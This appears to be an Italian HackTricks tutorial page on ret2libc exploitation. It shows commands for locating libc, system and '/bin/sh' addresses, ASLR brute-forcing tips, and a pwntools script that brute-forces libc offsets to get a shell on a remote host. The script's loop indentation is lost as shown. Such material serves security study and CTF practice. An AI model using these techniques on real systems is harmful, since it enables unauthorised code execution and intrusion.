Ret2lib

Impara l'hacking AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

L'essenza di Ret2Libc è quella di reindirizzare il flusso di esecuzione di un programma vulnerabile verso una funzione all'interno di una libreria condivisa (ad esempio, system, execve, strcpy) anziché eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, predisponendo anche eventuali argomenti necessari in base alla convenzione di chiamata.

Passaggi di Esempio (semplificati)

  • Ottenere l'indirizzo della funzione da chiamare (ad esempio, system) e il comando da chiamare (ad esempio, /bin/sh)

  • Generare una catena ROP per passare il primo argomento puntando alla stringa del comando e il flusso di esecuzione alla funzione

Trovare gli indirizzi

  • Supponendo che la libc utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Se vuoi verificare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset alla funzione system con:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset alla stringa della funzione /bin/sh con:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conoscendo la libc utilizzata, è anche possibile utilizzare Peda o GEF per ottenere l'indirizzo della funzione system, della funzione exit e della stringa /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Se il processo crea figli ogni volta che si comunica con esso (server di rete) prova a leggere quel file (probabilmente avrai bisogno dei permessi di root).

Qui puoi trovare esattamente dove è caricata la libc all'interno del processo e dove verrà caricata per ogni figlio del processo.

In questo caso è caricata in 0xb75dc000 (Questo sarà l'indirizzo di base della libc)

Libreria libc sconosciuta

Potrebbe essere possibile che non conosci la libc caricata dal binario (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per ottenere informazioni su alcuni indirizzi e scoprire quale libreria libc viene utilizzata:

pageLeaking libc address with ROP

E puoi trovare un modello di pwntools per questo in:

pageLeaking libc - template

Conoscere la libc con 2 offset

Controlla la pagina https://libc.blukat.me/ e utilizza un paio di indirizzi di funzioni all'interno della libc per scoprire la versione utilizzata.

Bypassare l'ASLR in 32 bit

Questi attacchi di forza bruta sono utili solo per sistemi a 32 bit.

  • Se l'exploit è locale, puoi provare a forzare l'indirizzo di base della libc (utile per sistemi a 32 bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se si attacca un server remoto, potresti provare a forzare l'indirizzo della funzione usleep della libc, passando come argomento 10 (ad esempio). Se a un certo punto il server impiega 10 secondi in più per rispondere, hai trovato l'indirizzo di questa funzione.

One Gadget

Esegui una shell saltando direttamente a un specifico indirizzo nella libc:

pageOne Gadget

Esempio di Codice x86 Ret2lib

In questo esempio, il brute-force di ASLR è integrato nel codice e il binario vulnerabile è situato su un server remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Esempio di codice x64 Ret2lib

Controlla l'esempio da:

pageROP - Return Oriented Programing

Esempio di ARM64 Ret2lib

Nel caso di ARM64, l'istruzione ret salta dove punta il registro x30 e non dove punta il registro dello stack. Quindi è un po' più complicato.

Inoltre, in ARM64 un'istruzione fa ciò che l'istruzione fa (non è possibile saltare nel mezzo delle istruzioni e trasformarle in nuove).

Controlla l'esempio da:

pageRet2lib + Printf leak - arm64

Ret-into-printf (o puts)

Questo permette di rilevare informazioni dal processo chiamando printf/puts con alcuni dati specifici posizionati come argomento. Ad esempio, mettendo l'indirizzo di puts nel GOT in una chiamata a puts permetterà di rilevare l'indirizzo di puts in memoria.

Ret2printf

Questo significa fondamentalmente abusare di un Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato di printf utilizzando il ret2lib per chiamare printf con i valori da sfruttare (sembra inutile ma è possibile):

pageFormat Strings

Altri Esempi e riferimenti

Last updated